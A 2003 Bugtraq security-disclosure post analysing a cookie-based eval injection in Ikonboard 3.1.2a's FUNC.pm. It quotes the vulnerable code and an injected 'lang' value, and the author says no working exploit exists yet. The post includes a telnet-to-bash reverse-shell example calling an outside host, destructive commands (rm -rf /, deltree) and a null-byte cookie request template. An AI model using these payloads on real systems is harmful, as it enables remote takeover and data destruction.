bugtraq - Attemps with Ikonboard 3.1.2a

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Message-ID: <20030910014429.A27465@phenix.rootshell.be>
Date: Wed, 10 Sep 2003 01:44:29 +0200
From: Shan Whitman <xzziroz@...tshell.be>
To: mike@...xhideout.com;, bugtraq@...urityfocus.com
Subject: Attemps with Ikonboard 3.1.2a

Vender: Jarvis Entertainment
Product: Ikonboard
Version: 3.1.2a and Below (All current versions).

On the topic of the recent post about Ikonboard and it's command execution vulnerabilities

In FUNC.pm: 

# Make sure the cookie data is legal

	if ($iB::COOKIES->{$iB::INFO->{'COOKIE_ID'}.'lang'}) {

	    $iB::COOKIES->{$iB::INFO->{'COOKIE_ID'}.'lang'} =~ s/^([\d\w]+)$/$1/;

	}

	$default = $iB::COOKIES->{$iB::INFO->{'COOKIE_ID'}.'lang'}

			|| $iB::INFO->{'DEFAULT_LANGUAGE'}

			|| 'en';

	# Quick check to make sure the directory exists

	unless (-d $iB::INFO->{IKON_DIR}."Languages/$default") {

		$default = 'en';

	}

	my $code = 'require '. "\"$default/" .$area. '.pm"; $lang ='. $area. '->new();';

	eval $code;

	$obj->cgi_error("Could not access the language file: $@") if $@;

	return $lang;

}

--------------

The first bit is of course where the exploit actualy accures. Although we can in definitely define $default to our own value I scratched my head for a while trying to figure out how this could be exploited.

After a few hours of staring i came to the final (and easy) conclusion that is this:

If $default where to equal: where 'en' is the usualy default string contained in $default and UniversalWords is contained in $area and then the .pm etc.
$default = "en/UniversalWords.pm\"; <My code> ; ##"

then the eval would simply interpret to the following: 

eval require "en/UniversalWords.pm"; <My Code>; ##/" .$area. '.pm"; $lang = '. $area. '->new().

so what would happen is the eval would do the require on en/UniversalWords.pm then it would move on to execute whatever arbitrary perl code you placed in <My Code>. Such as a 
" `telnet bla.bla.bla.bla | /bin/bash | telnet bla.bla.bla.bla` " or worse (hopefully) an deltree C: /y or rm -rf /, seeing as Ikonboard can be ran on linux or windows.

The meathod of injecting the code we wish into $default would be as simple as it is in the exploit for 3.1.1: 

GET $PATH HTTP/1.1
Host: $HOST
Cookie: lang=%HEX$HEX%HEX%00 ## Followed by a Null Byte to bypass filters.
Connection: close

-------

As of this moment I have not written a working exploit and am not even 100% sure if this would work, seeing as the person who posted this vulnerability a day ago claimed he had a working example I decided to wait on this to see how it is done.

--K-sPecial